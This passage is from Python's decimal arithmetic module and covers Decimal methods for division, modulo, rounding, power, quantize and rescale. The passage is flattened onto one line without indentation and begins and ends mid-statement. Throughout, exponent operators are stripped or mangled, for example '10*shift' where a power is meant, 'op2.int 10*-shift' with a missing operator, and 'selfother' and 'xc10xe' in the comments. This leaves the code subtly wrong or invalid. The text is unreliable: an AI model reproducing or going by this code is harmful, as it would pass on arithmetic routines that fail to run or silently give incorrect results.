10 if self._int == '1': ans = _dec_from_triple(resultsign, other._int, resultexp) ans = ans._fix(context) return ans if other._int == '1': ans = _dec_from_triple(resultsign, self._int, resultexp) ans = ans._fix(context) return ans op1 = _WorkRep(self) op2 = _WorkRep(other) ans = _dec_from_triple(resultsign, str(op1.int * op2.int), resultexp) ans = ans._fix(context) return ans __rmul__ = __mul__ def __truediv__(self, other, context=None): """Return self / other.""" other = _convert_other(other) if other is NotImplemented: return NotImplemented if context is None: context = getcontext() sign = self._sign ^ other._sign if self._is_special or other._is_special: ans = self._check_nans(other, context) if ans: return ans if self._isinfinity() and other._isinfinity(): return context._raise_error(InvalidOperation, '(+-)INF/(+-)INF') if self._isinfinity(): return _SignedInfinity[sign] if other._isinfinity(): context._raise_error(Clamped, 'Division by infinity') return _dec_from_triple(sign, '0', context.Etiny()) # Special cases for zeroes if not other: if not self: return context._raise_error(DivisionUndefined, '0 / 0') return context._raise_error(DivisionByZero, 'x / 0', sign) if not self: exp = self._exp - other._exp coeff = 0 else: # OK, so neither = 0, INF or NaN shift = len(other._int) - len(self._int) + context.prec + 1 exp = self._exp - other._exp - shift op1 = _WorkRep(self) op2 = _WorkRep(other) if shift >= 0: coeff, remainder = divmod(op1.int * 10*shift, op2.int) else: coeff, remainder = divmod(op1.int, op2.int 10*-shift) if remainder: # result is not exact; adjust to ensure correct rounding if coeff % 5 == 0: coeff += 1 else: # result is exact; get as close to ideal exponent as possible ideal_exp = self._exp - other._exp while exp < ideal_exp and coeff % 10 == 0: coeff //= 10 exp += 1 ans = _dec_from_triple(sign, str(coeff), exp) return ans._fix(context) def _divide(self, other, context): """Return (self // other, self % other), to context.prec precision. Assumes that neither self nor other is a NaN, that self is not infinite and that other is nonzero. """ sign = self._sign ^ other._sign if other._isinfinity(): ideal_exp = self._exp else: ideal_exp = min(self._exp, other._exp) expdiff = self.adjusted() - other.adjusted() if not self or other._isinfinity() or expdiff <= -2: return (_dec_from_triple(sign, '0', 0), self._rescale(ideal_exp, context.rounding)) if expdiff <= context.prec: op1 = _WorkRep(self) op2 = _WorkRep(other) if op1.exp >= op2.exp: op1.int = 10*(op1.exp - op2.exp) else: op2.int = 10(op2.exp - op1.exp) q, r = divmod(op1.int, op2.int) if q < 10context.prec: return (_dec_from_triple(sign, str(q), 0), _dec_from_triple(self._sign, str(r), ideal_exp)) # Here the quotient is too large to be representable ans = context._raise_error(DivisionImpossible, 'quotient too large in //, % or divmod') return ans, ans def __rtruediv__(self, other, context=None): """Swaps self/other and returns __truediv__.""" other = _convert_other(other) if other is NotImplemented: return other return other.__truediv__(self, context=context) def __divmod__(self, other, context=None): """ Return (self // other, self % other) """ other = _convert_other(other) if other is NotImplemented: return other if context is None: context = getcontext() ans = self._check_nans(other, context) if ans: return (ans, ans) sign = self._sign ^ other._sign if self._isinfinity(): if other._isinfinity(): ans = context._raise_error(InvalidOperation, 'divmod(INF, INF)') return ans, ans else: return (_SignedInfinity[sign], context._raise_error(InvalidOperation, 'INF % x')) if not other: if not self: ans = context._raise_error(DivisionUndefined, 'divmod(0, 0)') return ans, ans else: return (context._raise_error(DivisionByZero, 'x // 0', sign), context._raise_error(InvalidOperation, 'x % 0')) quotient, remainder = self._divide(other, context) remainder = remainder._fix(context) return quotient, remainder def __rdivmod__(self, other, context=None): """Swaps self/other and returns __divmod__.""" other = _convert_other(other) if other is NotImplemented: return other return other.__divmod__(self, context=context) def __mod__(self, other, context=None): """ self % other """ other = _convert_other(other) if other is NotImplemented: return other if context is None: context = getcontext() ans = self._check_nans(other, context) if ans: return ans if self._isinfinity(): return context._raise_error(InvalidOperation, 'INF % x') elif not other: if self: return context._raise_error(InvalidOperation, 'x % 0') else: return context._raise_error(DivisionUndefined, '0 % 0') remainder = self._divide(other, context)[1] remainder = remainder._fix(context) return remainder def __rmod__(self, other, context=None): """Swaps self/other and returns __mod__.""" other = _convert_other(other) if other is NotImplemented: return other return other.__mod__(self, context=context) def remainder_near(self, other, context=None): """ Remainder nearest to 0- abs(remainder-near) <= other/2 """ if context is None: context = getcontext() other = _convert_other(other, raiseit=True) ans = self._check_nans(other, context) if ans: return ans # self == +/-infinity -> InvalidOperation if self._isinfinity(): return context._raise_error(InvalidOperation, 'remainder_near(infinity, x)') # other == 0 -> either InvalidOperation or DivisionUndefined if not other: if self: return context._raise_error(InvalidOperation, 'remainder_near(x, 0)') else: return context._raise_error(DivisionUndefined, 'remainder_near(0, 0)') # other = +/-infinity -> remainder = self if other._isinfinity(): ans = Decimal(self) return ans._fix(context) # self = 0 -> remainder = self, with ideal exponent ideal_exponent = min(self._exp, other._exp) if not self: ans = _dec_from_triple(self._sign, '0', ideal_exponent) return ans._fix(context) # catch most cases of large or small quotient expdiff = self.adjusted() - other.adjusted() if expdiff >= context.prec + 1: # expdiff >= prec+1 => abs(self/other) > 10*prec return context._raise_error(DivisionImpossible) if expdiff <= -2: # expdiff <= -2 => abs(self/other) < 0.1 ans = self._rescale(ideal_exponent, context.rounding) return ans._fix(context) # adjust both arguments to have the same exponent, then divide op1 = _WorkRep(self) op2 = _WorkRep(other) if op1.exp >= op2.exp: op1.int = 10*(op1.exp - op2.exp) else: op2.int = 10*(op2.exp - op1.exp) q, r = divmod(op1.int, op2.int) # remainder is r10*ideal_exponent; other is +/-op2.int # 10*ideal_exponent. Apply correction to ensure that # abs(remainder) <= abs(other)/2 if 2r + (q&1) > op2.int: r -= op2.int q += 1 if q >= 10context.prec: return context._raise_error(DivisionImpossible) # result has same sign as self unless r is negative sign = self._sign if r < 0: sign = 1-sign r = -r ans = _dec_from_triple(sign, str(r), ideal_exponent) return ans._fix(context) def __floordiv__(self, other, context=None): """self // other""" other = _convert_other(other) if other is NotImplemented: return other if context is None: context = getcontext() ans = self._check_nans(other, context) if ans: return ans if self._isinfinity(): if other._isinfinity(): return context._raise_error(InvalidOperation, 'INF // INF') else: return _SignedInfinity[self._sign ^ other._sign] if not other: if self: return context._raise_error(DivisionByZero, 'x // 0', self._sign ^ other._sign) else: return context._raise_error(DivisionUndefined, '0 // 0') return self._divide(other, context)[0] def __rfloordiv__(self, other, context=None): """Swaps self/other and returns __floordiv__.""" other = _convert_other(other) if other is NotImplemented: return other return other.__floordiv__(self, context=context) def __float__(self): """Float representation.""" if self._isnan(): if self.is_snan(): raise ValueError("Cannot convert signaling NaN to float") s = "-nan" if self._sign else "nan" else: s = str(self) return float(s) def __int__(self): """Converts self to an int, truncating if necessary.""" if self._is_special: if self._isnan(): raise ValueError("Cannot convert NaN to integer") elif self._isinfinity(): raise OverflowError("Cannot convert infinity to integer") s = (-1)self._sign if self._exp >= 0: return sint(self._int)10*self._exp else: return sint(self._int[:self._exp] or '0') __trunc__ = __int__ @property def real(self): return self @property def imag(self): return Decimal(0) def conjugate(self): return self def __complex__(self): return complex(float(self)) def _fix_nan(self, context): """Decapitate the payload of a NaN to fit the context""" payload = self._int # maximum length of payload is precision if clamp=0, # precision-1 if clamp=1. max_payload_len = context.prec - context.clamp if len(payload) > max_payload_len: payload = payload[len(payload)-max_payload_len:].lstrip('0') return _dec_from_triple(self._sign, payload, self._exp, True) return Decimal(self) def _fix(self, context): """Round if it is necessary to keep self within prec precision. Rounds and fixes the exponent. Does not raise on a sNaN. Arguments: self - Decimal instance context - context used. """ if self._is_special: if self._isnan(): # decapitate payload if necessary return self._fix_nan(context) else: # self is +/-Infinity; return unaltered return Decimal(self) # if self is zero then exponent should be between Etiny and # Emax if clamp==0, and between Etiny and Etop if clamp==1. Etiny = context.Etiny() Etop = context.Etop() if not self: exp_max = [context.Emax, Etop][context.clamp] new_exp = min(max(self._exp, Etiny), exp_max) if new_exp != self._exp: context._raise_error(Clamped) return _dec_from_triple(self._sign, '0', new_exp) else: return Decimal(self) # exp_min is the smallest allowable exponent of the result, # equal to max(self.adjusted()-context.prec+1, Etiny) exp_min = len(self._int) + self._exp - context.prec if exp_min > Etop: # overflow: exp_min > Etop iff self.adjusted() > Emax ans = context._raise_error(Overflow, 'above Emax', self._sign) context._raise_error(Inexact) context._raise_error(Rounded) return ans self_is_subnormal = exp_min < Etiny if self_is_subnormal: exp_min = Etiny # round if self has too many digits if self._exp < exp_min: digits = len(self._int) + self._exp - exp_min if digits < 0: self = _dec_from_triple(self._sign, '1', exp_min-1) digits = 0 rounding_method = self._pick_rounding_function[context.rounding] changed = rounding_method(self, digits) coeff = self._int[:digits] or '0' if changed > 0: coeff = str(int(coeff)+1) if len(coeff) > context.prec: coeff = coeff[:-1] exp_min += 1 # check whether the rounding pushed the exponent out of range if exp_min > Etop: ans = context._raise_error(Overflow, 'above Emax', self._sign) else: ans = _dec_from_triple(self._sign, coeff, exp_min) # raise the appropriate signals, taking care to respect # the precedence described in the specification if changed and self_is_subnormal: context._raise_error(Underflow) if self_is_subnormal: context._raise_error(Subnormal) if changed: context._raise_error(Inexact) context._raise_error(Rounded) if not ans: # raise Clamped on underflow to 0 context._raise_error(Clamped) return ans if self_is_subnormal: context._raise_error(Subnormal) # fold down if clamp == 1 and self has too few digits if context.clamp == 1 and self._exp > Etop: context._raise_error(Clamped) self_padded = self._int + '0'(self._exp - Etop) return _dec_from_triple(self._sign, self_padded, Etop) # here self was representable to begin with; return unchanged return Decimal(self) # for each of the rounding functions below: # self is a finite, nonzero Decimal # prec is an integer satisfying 0 <= prec < len(self._int) # # each function returns either -1, 0, or 1, as follows: # 1 indicates that self should be rounded up (away from zero) # 0 indicates that self should be truncated, and that all the # digits to be truncated are zeros (so the value is unchanged) # -1 indicates that there are nonzero digits to be truncated def _round_down(self, prec): """Also known as round-towards-0, truncate.""" if _all_zeros(self._int, prec): return 0 else: return -1 def _round_up(self, prec): """Rounds away from 0.""" return -self._round_down(prec) def _round_half_up(self, prec): """Rounds 5 up (away from 0)""" if self._int[prec] in '56789': return 1 elif _all_zeros(self._int, prec): return 0 else: return -1 def _round_half_down(self, prec): """Round 5 down""" if _exact_half(self._int, prec): return -1 else: return self._round_half_up(prec) def _round_half_even(self, prec): """Round 5 to even, rest to nearest.""" if _exact_half(self._int, prec) and \ (prec == 0 or self._int[prec-1] in '02468'): return -1 else: return self._round_half_up(prec) def _round_ceiling(self, prec): """Rounds up (not away from 0 if negative.)""" if self._sign: return self._round_down(prec) else: return -self._round_down(prec) def _round_floor(self, prec): """Rounds down (not towards 0 if negative)""" if not self._sign: return self._round_down(prec) else: return -self._round_down(prec) def _round_05up(self, prec): """Round down unless digit prec-1 is 0 or 5.""" if prec and self._int[prec-1] not in '05': return self._round_down(prec) else: return -self._round_down(prec) _pick_rounding_function = dict( ROUND_DOWN = _round_down, ROUND_UP = _round_up, ROUND_HALF_UP = _round_half_up, ROUND_HALF_DOWN = _round_half_down, ROUND_HALF_EVEN = _round_half_even, ROUND_CEILING = _round_ceiling, ROUND_FLOOR = _round_floor, ROUND_05UP = _round_05up, ) def __round__(self, n=None): """Round self to the nearest integer, or to a given precision. If only one argument is supplied, round a finite Decimal instance self to the nearest integer. If self is infinite or a NaN then a Python exception is raised. If self is finite and lies exactly halfway between two integers then it is rounded to the integer with even last digit. >>> round(Decimal('123.456')) 123 >>> round(Decimal('-456.789')) -457 >>> round(Decimal('-3.0')) -3 >>> round(Decimal('2.5')) 2 >>> round(Decimal('3.5')) 4 >>> round(Decimal('Inf')) Traceback (most recent call last): ... OverflowError: cannot round an infinity >>> round(Decimal('NaN')) Traceback (most recent call last): ... ValueError: cannot round a NaN If a second argument n is supplied, self is rounded to n decimal places using the rounding mode for the current context. For an integer n, round(self, -n) is exactly equivalent to self.quantize(Decimal('1En')). >>> round(Decimal('123.456'), 0) Decimal('123') >>> round(Decimal('123.456'), 2) Decimal('123.46') >>> round(Decimal('123.456'), -2) Decimal('1E+2') >>> round(Decimal('-Infinity'), 37) Decimal('NaN') >>> round(Decimal('sNaN123'), 0) Decimal('NaN123') """ if n is not None: # two-argument form: use the equivalent quantize call if not isinstance(n, int): raise TypeError('Second argument to round should be integral') exp = _dec_from_triple(0, '1', -n) return self.quantize(exp) # one-argument form if self._is_special: if self.is_nan(): raise ValueError("cannot round a NaN") else: raise OverflowError("cannot round an infinity") return int(self._rescale(0, ROUND_HALF_EVEN)) def __floor__(self): """Return the floor of self, as an integer. For a finite Decimal instance self, return the greatest integer n such that n <= self. If self is infinite or a NaN then a Python exception is raised. """ if self._is_special: if self.is_nan(): raise ValueError("cannot round a NaN") else: raise OverflowError("cannot round an infinity") return int(self._rescale(0, ROUND_FLOOR)) def __ceil__(self): """Return the ceiling of self, as an integer. For a finite Decimal instance self, return the least integer n such that n >= self. If self is infinite or a NaN then a Python exception is raised. """ if self._is_special: if self.is_nan(): raise ValueError("cannot round a NaN") else: raise OverflowError("cannot round an infinity") return int(self._rescale(0, ROUND_CEILING)) def fma(self, other, third, context=None): """Fused multiply-add. Returns selfother+third with no rounding of the intermediate product selfother. self and other are multiplied together, with no rounding of the result. The third operand is then added to the result, and a single final rounding is performed. """ other = _convert_other(other, raiseit=True) third = _convert_other(third, raiseit=True) # compute product; raise InvalidOperation if either operand is # a signaling NaN or if the product is zero times infinity. if self._is_special or other._is_special: if context is None: context = getcontext() if self._exp == 'N': return context._raise_error(InvalidOperation, 'sNaN', self) if other._exp == 'N': return context._raise_error(InvalidOperation, 'sNaN', other) if self._exp == 'n': product = self elif other._exp == 'n': product = other elif self._exp == 'F': if not other: return context._raise_error(InvalidOperation, 'INF 0 in fma') product = _SignedInfinity[self._sign ^ other._sign] elif other._exp == 'F': if not self: return context._raise_error(InvalidOperation, '0 * INF in fma') product = _SignedInfinity[self._sign ^ other._sign] else: product = _dec_from_triple(self._sign ^ other._sign, str(int(self._int) * int(other._int)), self._exp + other._exp) return product.__add__(third, context) def _power_modulo(self, other, modulo, context=None): """Three argument version of __pow__""" other = _convert_other(other) if other is NotImplemented: return other modulo = _convert_other(modulo) if modulo is NotImplemented: return modulo if context is None: context = getcontext() # deal with NaNs: if there are any sNaNs then first one wins, # (i.e. behaviour for NaNs is identical to that of fma) self_is_nan = self._isnan() other_is_nan = other._isnan() modulo_is_nan = modulo._isnan() if self_is_nan or other_is_nan or modulo_is_nan: if self_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', self) if other_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', other) if modulo_is_nan == 2: return context._raise_error(InvalidOperation, 'sNaN', modulo) if self_is_nan: return self._fix_nan(context) if other_is_nan: return other._fix_nan(context) return modulo._fix_nan(context) # check inputs: we apply same restrictions as Python's pow() if not (self._isinteger() and other._isinteger() and modulo._isinteger()): return context._raise_error(InvalidOperation, 'pow() 3rd argument not allowed ' 'unless all arguments are integers') if other < 0: return context._raise_error(InvalidOperation, 'pow() 2nd argument cannot be ' 'negative when 3rd argument specified') if not modulo: return context._raise_error(InvalidOperation, 'pow() 3rd argument cannot be 0') # additional restriction for decimal: the modulus must be less # than 10prec in absolute value if modulo.adjusted() >= context.prec: return context._raise_error(InvalidOperation, 'insufficient precision: pow() 3rd ' 'argument must not have more than ' 'precision digits') # define 00 == NaN, for consistency with two-argument pow # (even though it hurts!) if not other and not self: return context._raise_error(InvalidOperation, 'at least one of pow() 1st argument ' 'and 2nd argument must be nonzero; ' '0*0 is not defined') # compute sign of result if other._iseven(): sign = 0 else: sign = self._sign # convert modulo to a Python integer, and self and other to # Decimal integers (i.e. force their exponents to be >= 0) modulo = abs(int(modulo)) base = _WorkRep(self.to_integral_value()) exponent = _WorkRep(other.to_integral_value()) # compute result using integer pow() base = (base.int % modulo pow(10, base.exp, modulo)) % modulo for i in range(exponent.exp): base = pow(base, 10, modulo) base = pow(base, exponent.int, modulo) return _dec_from_triple(sign, str(base), 0) def _power_exact(self, other, p): """Attempt to compute selfother exactly. Given Decimals self and other and an integer p, attempt to compute an exact result for the power selfother, with p digits of precision. Return None if selfother is not exactly representable in p digits. Assumes that elimination of special cases has already been performed: self and other must both be nonspecial; self must be positive and not numerically equal to 1; other must be nonzero. For efficiency, other._exp should not be too large, so that 10abs(other._exp) is a feasible calculation.""" # In the comments below, we write x for the value of self and y for the # value of other. Write x = xc10xe and abs(y) = yc10*ye, with xc # and yc positive integers not divisible by 10. # The main purpose of this method is to identify the failure* # of xy to be exactly representable with as little effort as # possible. So we look for cheap and easy tests that # eliminate the possibility of xy being exact. Only if all # these tests are passed do we go on to actually compute xy. # Here's the main idea. Express y as a rational number m/n, with m and # n relatively prime and n>0. Then for xy to be exactly # representable (at any precision), xc must be the nth power of a # positive integer and xe must be divisible by n. If y is negative # then additionally xc must be a power of either 2 or 5, hence a power # of 2n or 5n. # # There's a limit to how small \|y\| can be: if y=m/n as above # then: # # (1) if xc != 1 then for the result to be representable we # need xc(1/n) >= 2, and hence also xc\|y\| >= 2. So # if \|y\| <= 1/nbits(xc) then xc < 2nbits(xc) <= # 2(1/\|y\|), hence xc*\|y\| < 2 and the result is not # representable. # # (2) if xe != 0, \|xe\|(1/n) >= 1, so \|xe\|\|y\| >= 1. Hence if # \|y\| < 1/\|xe\| then the result is not representable. # # Note that since x is not equal to 1, at least one of (1) and # (2) must apply. Now \|y\| < 1/nbits(xc) iff \|yc\|nbits(xc) < # 10*-ye iff len(str(\|yc\|nbits(xc)) <= -ye. # # There's also a limit to how large y can be, at least if it's # positive: the normalized result will have coefficient xcy, # so if it's representable then xcy < 10*p, and y < # p/log10(xc). Hence if ylog10(xc) >= p then the result is # not exactly representable. # if len(str(abs(ycxe)) <= -ye then abs(ycxe) < 10*-ye, # so \|y\| < 1/xe and the result is not representable. # Similarly, len(str(abs(yc)xc_bits)) <= -ye implies \|y\| # < 1/nbits(xc). x = _WorkRep(self) xc, xe = x.int, x.exp while xc % 10 == 0: xc //= 10 xe += 1 y = _WorkRep(other) yc, ye = y.int, y.exp while yc % 10 == 0: yc //= 10 ye += 1 # case where xc == 1: result is 10*(xey), with xey # required to be an integer if xc == 1: xe = yc # result is now 10*(xe 10*ye); xe 10*ye must be integral while xe % 10 == 0: xe //= 10 ye += 1 if ye < 0: return None exponent = xe 10*ye if y.sign == 1: exponent = -exponent # if other is a nonnegative integer, use ideal exponent if other._isinteger() and other._sign == 0: ideal_exponent = self._expint(other) zeros = min(exponent-ideal_exponent, p-1) else: zeros = 0 return _dec_from_triple(0, '1' + '0'zeros, exponent-zeros) # case where y is negative: xc must be either a power # of 2 or a power of 5. if y.sign == 1: last_digit = xc % 10 if last_digit in (2,4,6,8): # quick test for power of 2 if xc & -xc != xc: return None # now xc is a power of 2; e is its exponent e = _nbits(xc)-1 # We now have: # # x = 2e 10xe, e > 0, and y < 0. # # The exact result is: # # xy = 5*(-ey) * 10*(ey + xey) # # provided that both ey and xey are integers. Note that if # 5(-ey) >= 10*p, then the result can't be expressed # exactly with p digits of precision. # # Using the above, we can guard against large values of ye. # 93/65 is an upper bound for log(10)/log(5), so if # # ye >= len(str(93p//65)) # # then # # -ey >= -y >= 10ye > 93p/65 > plog(10)/log(5), # # so 5(-ey) >= 10p, and the coefficient of the result # can't be expressed in p digits. # emax >= largest e such that 5e < 10*p. emax = p93//65 if ye >= len(str(emax)): return None # Find -ey and -xey; both must be integers e = _decimal_lshift_exact(e * yc, ye) xe = _decimal_lshift_exact(xe * yc, ye) if e is None or xe is None: return None if e > emax: return None xc = 5e elif last_digit == 5: # e >= log_5(xc) if xc is a power of 5; we have # equality all the way up to xc=52658 e = _nbits(xc)28//65 xc, remainder = divmod(5e, xc) if remainder: return None while xc % 5 == 0: xc //= 5 e -= 1 # Guard against large values of ye, using the same logic as in # the 'xc is a power of 2' branch. 10/3 is an upper bound for # log(10)/log(2). emax = p10//3 if ye >= len(str(emax)): return None e = _decimal_lshift_exact(e * yc, ye) xe = _decimal_lshift_exact(xe * yc, ye) if e is None or xe is None: return None if e > emax: return None xc = 2e else: return None if xc >= 10p: return None xe = -e-xe return _dec_from_triple(0, str(xc), xe) # now y is positive; find m and n such that y = m/n if ye >= 0: m, n = yc10ye, 1 else: if xe != 0 and len(str(abs(ycxe))) <= -ye: return None xc_bits = _nbits(xc) if xc != 1 and len(str(abs(yc)xc_bits)) <= -ye: return None m, n = yc, 10(-ye) while m % 2 == n % 2 == 0: m //= 2 n //= 2 while m % 5 == n % 5 == 0: m //= 5 n //= 5 # compute nth root of xc10xe if n > 1: # if 1 < xc < 2n then xc isn't an nth power if xc != 1 and xc_bits <= n: return None xe, rem = divmod(xe, n) if rem != 0: return None # compute nth root of xc using Newton's method a = 1 << -(-_nbits(xc)//n) # initial estimate while True: q, r = divmod(xc, a*(n-1)) if a <= q: break else: a = (a(n-1) + q)//n if not (a == q and r == 0): return None xc = a # now xc10xe is the nth root of the original xc10*xe # compute mth power of xc10*xe # if m > p100//_log10_lb(xc) then m > p/log10(xc), hence xcm > # 10p and the result is not representable. if xc > 1 and m > p100//_log10_lb(xc): return None xc = xcm xe = m if xc > 10*p: return None # by this point the result is* exactly representable # adjust the exponent to get as close as possible to the ideal # exponent, if necessary str_xc = str(xc) if other._isinteger() and other._sign == 0: ideal_exponent = self._expint(other) zeros = min(xe-ideal_exponent, p-len(str_xc)) else: zeros = 0 return _dec_from_triple(0, str_xc+'0'zeros, xe-zeros) def __pow__(self, other, modulo=None, context=None): """Return self other [ % modulo]. With two arguments, compute selfother. With three arguments, compute (selfother) % modulo. For the three argument form, the following restrictions on the arguments hold: - all three arguments must be integral - other must be nonnegative - either self or other (or both) must be nonzero - modulo must be nonzero and must have at most p digits, where p is the context precision. If any of these restrictions is violated the InvalidOperation flag is raised. The result of pow(self, other, modulo) is identical to the result that would be obtained by computing (selfother) % modulo with unbounded precision, but is computed more efficiently. It is always exact. """ if modulo is not None: return self._power_modulo(other, modulo, context) other = _convert_other(other) if other is NotImplemented: return other if context is None: context = getcontext() # either argument is a NaN => result is NaN ans = self._check_nans(other, context) if ans: return ans # 00 = NaN (!), x0 = 1 for nonzero x (including +/-Infinity) if not other: if not self: return context._raise_error(InvalidOperation, '0 0') else: return _One # result has sign 1 iff self._sign is 1 and other is an odd integer result_sign = 0 if self._sign == 1: if other._isinteger(): if not other._iseven(): result_sign = 1 else: # -venoninteger = NaN # (-0)noninteger = 0noninteger if self: return context._raise_error(InvalidOperation, 'x y with x negative and y not an integer') # negate self, without doing any unwanted rounding self = self.copy_negate() # 0(+ve or Inf)= 0; 0(-ve or -Inf) = Infinity if not self: if other._sign == 0: return _dec_from_triple(result_sign, '0', 0) else: return _SignedInfinity[result_sign] # Inf(+ve or Inf) = Inf; Inf(-ve or -Inf) = 0 if self._isinfinity(): if other._sign == 0: return _SignedInfinity[result_sign] else: return _dec_from_triple(result_sign, '0', 0) # 1other = 1, but the choice of exponent and the flags # depend on the exponent of self, and on whether other is a # positive integer, a negative integer, or neither if self == _One: if other._isinteger(): # exp = max(self._expmax(int(other), 0), # 1-context.prec) but evaluating int(other) directly # is dangerous until we know other is small (other # could be 1e999999999) if other._sign == 1: multiplier = 0 elif other > context.prec: multiplier = context.prec else: multiplier = int(other) exp = self._exp multiplier if exp < 1-context.prec: exp = 1-context.prec context._raise_error(Rounded) else: context._raise_error(Inexact) context._raise_error(Rounded) exp = 1-context.prec return _dec_from_triple(result_sign, '1'+'0'-exp, exp) # compute adjusted exponent of self self_adj = self.adjusted() # self * infinity is infinity if self > 1, 0 if self < 1 # self ** -infinity is infinity if self < 1, 0 if self > 1 if other._isinfinity(): if (other._sign == 0) == (self_adj < 0): return _dec_from_triple(result_sign, '0', 0) else: return _SignedInfinity[result_sign] # from here on, the result always goes through the call # to _fix at the end of this function. ans = None exact = False # crude test to catch cases of extreme overflow/underflow. If # log10(self)other >= 10bound and bound >= len(str(Emax)) # then 10bound >= 10len(str(Emax)) >= Emax+1 and hence # selfother >= 10(Emax+1), so overflow occurs. The test # for underflow is similar. bound = self._log10_exp_bound() + other.adjusted() if (self_adj >= 0) == (other._sign == 0): # self > 1 and other +ve, or self < 1 and other -ve # possibility of overflow if bound >= len(str(context.Emax)): ans = _dec_from_triple(result_sign, '1', context.Emax+1) else: # self > 1 and other -ve, or self < 1 and other +ve # possibility of underflow to 0 Etiny = context.Etiny() if bound >= len(str(-Etiny)): ans = _dec_from_triple(result_sign, '1', Etiny-1) # try for an exact result with precision +1 if ans is None: ans = self._power_exact(other, context.prec + 1) if ans is not None: if result_sign == 1: ans = _dec_from_triple(1, ans._int, ans._exp) exact = True # usual case: inexact result, xy computed directly as exp(ylog(x)) if ans is None: p = context.prec x = _WorkRep(self) xc, xe = x.int, x.exp y = _WorkRep(other) yc, ye = y.int, y.exp if y.sign == 1: yc = -yc # compute correctly rounded result: start with precision +3, # then increase precision until result is unambiguously roundable extra = 3 while True: coeff, exp = _dpower(xc, xe, yc, ye, p+extra) if coeff % (510(len(str(coeff))-p-1)): break extra += 3 ans = _dec_from_triple(result_sign, str(coeff), exp) # unlike exp, ln and log10, the power function respects the # rounding mode; no need to switch to ROUND_HALF_EVEN here # There's a difficulty here when 'other' is not an integer and # the result is exact. In this case, the specification # requires that the Inexact flag be raised (in spite of # exactness), but since the result is exact _fix won't do this # for us. (Correspondingly, the Underflow signal should also # be raised for subnormal results.) We can't directly raise # these signals either before or after calling _fix, since # that would violate the precedence for signals. So we wrap # the ._fix call in a temporary context, and reraise # afterwards. if exact and not other._isinteger(): # pad with zeros up to length context.prec+1 if necessary; this # ensures that the Rounded signal will be raised. if len(ans._int) <= context.prec: expdiff = context.prec + 1 - len(ans._int) ans = _dec_from_triple(ans._sign, ans._int+'0'expdiff, ans._exp-expdiff) # create a copy of the current context, with cleared flags/traps newcontext = context.copy() newcontext.clear_flags() for exception in _signals: newcontext.traps[exception] = 0 # round in the new context ans = ans._fix(newcontext) # raise Inexact, and if necessary, Underflow newcontext._raise_error(Inexact) if newcontext.flags[Subnormal]: newcontext._raise_error(Underflow) # propagate signals to the original context; _fix could # have raised any of Overflow, Underflow, Subnormal, # Inexact, Rounded, Clamped. Overflow needs the correct # arguments. Note that the order of the exceptions is # important here. if newcontext.flags[Overflow]: context._raise_error(Overflow, 'above Emax', ans._sign) for exception in Underflow, Subnormal, Inexact, Rounded, Clamped: if newcontext.flags[exception]: context._raise_error(exception) else: ans = ans._fix(context) return ans def __rpow__(self, other, context=None): """Swaps self/other and returns __pow__.""" other = _convert_other(other) if other is NotImplemented: return other return other.__pow__(self, context=context) def normalize(self, context=None): """Normalize- strip trailing 0s, change anything equal to 0 to 0e0""" if context is None: context = getcontext() if self._is_special: ans = self._check_nans(context=context) if ans: return ans dup = self._fix(context) if dup._isinfinity(): return dup if not dup: return _dec_from_triple(dup._sign, '0', 0) exp_max = [context.Emax, context.Etop()][context.clamp] end = len(dup._int) exp = dup._exp while dup._int[end-1] == '0' and exp < exp_max: exp += 1 end -= 1 return _dec_from_triple(dup._sign, dup._int[:end], exp) def quantize(self, exp, rounding=None, context=None): """Quantize self so its exponent is the same as that of exp. Similar to self._rescale(exp._exp) but with error checking. """ exp = _convert_other(exp, raiseit=True) if context is None: context = getcontext() if rounding is None: rounding = context.rounding if self._is_special or exp._is_special: ans = self._check_nans(exp, context) if ans: return ans if exp._isinfinity() or self._isinfinity(): if exp._isinfinity() and self._isinfinity(): return Decimal(self) # if both are inf, it is OK return context._raise_error(InvalidOperation, 'quantize with one INF') # exp._exp should be between Etiny and Emax if not (context.Etiny() <= exp._exp <= context.Emax): return context._raise_error(InvalidOperation, 'target exponent out of bounds in quantize') if not self: ans = _dec_from_triple(self._sign, '0', exp._exp) return ans._fix(context) self_adjusted = self.adjusted() if self_adjusted > context.Emax: return context._raise_error(InvalidOperation, 'exponent of quantize result too large for current context') if self_adjusted - exp._exp + 1 > context.prec: return context._raise_error(InvalidOperation, 'quantize result has too many digits for current context') ans = self._rescale(exp._exp, rounding) if ans.adjusted() > context.Emax: return context._raise_error(InvalidOperation, 'exponent of quantize result too large for current context') if len(ans._int) > context.prec: return context._raise_error(InvalidOperation, 'quantize result has too many digits for current context') # raise appropriate flags if ans and ans.adjusted() < context.Emin: context._raise_error(Subnormal) if ans._exp > self._exp: if ans != self: context._raise_error(Inexact) context._raise_error(Rounded) # call to fix takes care of any necessary folddown, and # signals Clamped if necessary ans = ans._fix(context) return ans def same_quantum(self, other, context=None): """Return True if self and other have the same exponent; otherwise return False. If either operand is a special value, the following rules are used: * return True if both operands are infinities * return True if both operands are NaNs * otherwise, return False. """ other = _convert_other(other, raiseit=True) if self._is_special or other._is_special: return (self.is_nan() and other.is_nan() or self.is_infinite() and other.is_infinite()) return self._exp == other._exp def _rescale(self, exp, rounding): """Rescale self so that the exponent is exp, either by padding with zeros or by truncating digits, using the given rounding mode. Specials are returned without change. This operation is quiet: it raises no flags, and uses no information from the context. exp = exp to scale to (an integer) rounding = rounding mode """ if self._is_special: return Decimal(self) if not self: return _dec_from_triple(self._sign, '0', exp) if self._exp >= exp: # pad answer with zeros if necessary return _dec_from_triple(self._sign, self._int + '0'(self._exp - exp), exp) # too many digits; round and lose data. If self.adjusted() < # exp-1, replace self by 10(exp-1) before rounding digits = len(self._int) + self._exp - exp if digits < 0: self = _dec_from_triple(self._sign, '1', exp-1) digits = 0 this_function = self._pick_rounding_function[rounding] changed = this_function(self, digits) coeff = self._int[:digits] or '0' if changed == 1: coeff = str(int(coeff)+1) return _dec_from_triple(self._sign, coeff, exp) def _round(self, places, rounding): """Round a nonzero, nonspecial Decimal to a fixed number of significant figures, using the given rounding mode. Infinities, NaNs and zeros are returned unaltered. This operation is quiet: it raises no flags, and uses no information from the context. """ if places <= 0: raise ValueError("argument should be at least 1 in _round") if self._is_special or not self: return Decimal(self) ans = self._rescale(self.adjusted()+1-places, rounding) # it can happen that the rescale alters the adjusted exponent; # for example when rounding 99.97 to 3 significant figures. # When this happens we end up with an extra 0 at the end of # the number; a second rescale fixes this. if ans.adjusted() != self.adjusted(): ans 